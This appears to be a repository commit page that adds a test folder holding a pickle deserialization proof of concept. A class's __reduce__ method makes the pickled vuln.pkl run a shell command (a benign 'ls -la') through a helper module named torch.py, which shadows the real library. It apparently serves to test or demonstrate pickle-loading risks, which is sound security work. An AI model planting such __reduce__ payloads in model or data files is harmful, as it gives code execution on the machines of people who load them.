dkteg commited on
Commit
cce6150
·
1 Parent(s): dc8c97a

add pickle with python file

Browse files
testfolder/__pycache__/test_module.cpython-311.pyc ADDED
Binary file (518 Bytes). View file
 
testfolder/__pycache__/torch.cpython-311.pyc ADDED
Binary file (523 Bytes). View file
 
testfolder/torch.py ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+
3
+ def run_bash():
4
+ res = os.system("ls -la")
5
+ print(res)
6
+
7
+
8
+ if __name__ == '__main__':
9
+ run_bash()
testfolder/vuln.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:8241f3b433c6e6bc9b3367f1526282ae1a7145f644970d4cc4f62439cafabc15
3
+ size 36
testfolder/vuln_pickle.py ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle
2
+ import pickletools
3
+ from torch import run_bash
4
+
5
+
6
+ class Vuln():
7
+ def __reduce__(self):
8
+ return (run_bash, ())
9
+
10
+
11
+ def run():
12
+ with open("vuln.pkl", 'wb') as f:
13
+ pickle.dump(Vuln(), f)
14
+
15
+
16
+ if __name__ == '__main__':
17
+ run()
18
+ with open("vuln.pkl", "rb") as f:
19
+ pickle.load(f)
20
+
21
+